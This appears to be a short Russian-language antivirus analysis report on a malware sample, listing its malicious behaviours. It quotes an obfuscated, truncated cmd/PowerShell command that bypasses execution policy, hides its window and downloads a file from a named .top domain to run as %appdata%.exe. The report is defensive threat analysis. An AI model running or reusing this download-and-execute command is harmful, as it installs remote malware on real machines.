Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://zussipussicscds.top/search.php как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "P^OW^e^rSHE^LL.EX^E^ -^e^xEC^U^t^i^on^P^ol^I^Cy^ Bypas^S -n^OP^r^o^f^IL^e^ ^-W^InD^owStyl^E HId^dEn (NE^W-obj^eCt^ s^ysT^e^M.NEt.W^e^b^C^LIen^t^).doWnLoAdf^iLE^('http://zussipuss...
Сетевая активность
UDP
- DNS ASK zu####ussicscds.top
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "P^OW^e^rSHE^LL.EX^E^ -^e^xEC^U^t^i^on^P^ol^I^Cy^ Bypas^S -n^OP^r^o^f^IL^e^ ^-W^InD^owStyl^E HId^dEn (NE^W-obj^eCt^ s^ysT^e^M.NEt.W^e^b^C^LIen^t^).doWnLoAdf^iLE^('http://zussipuss...' (со скрытым окном)
